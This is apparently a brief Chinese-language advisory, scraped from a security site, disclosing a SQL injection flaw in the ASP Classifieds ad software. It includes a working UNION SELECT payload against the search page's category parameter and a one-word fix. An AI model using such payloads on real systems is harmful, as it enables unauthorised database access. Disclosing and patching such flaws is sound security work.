标题: ASP Classifieds Sql Injection 作者: r45c4l www.2cto.com infosecpirate@gmail.com 程序开发 页面: http://preproject.com/pcl asp /home/default.asp 产品描述: ASP Classifieds is one of the most customizable Classified ad program that exist for ASP and Access. Unlimited Images , unlimited categories and much much more makes it perfect for those who wants to set up a used stamps classifieds to those wanting to show and sell real estates. Product Cost : 58$ =======================测试方法==================================== ---ICW--- [ E测试] SQL Injection 测试- http://SERVER/classi/search.php?category=[SQli] 测试- http://www.2cto.com /classi/search.php?category=-1+union+all+select+version()-- [Note: 已经在演示网站上测试] 修复： 过滤
查看更多关于ASP Classifieds Sql注射 - 网站安全 - 自学php的详细内容...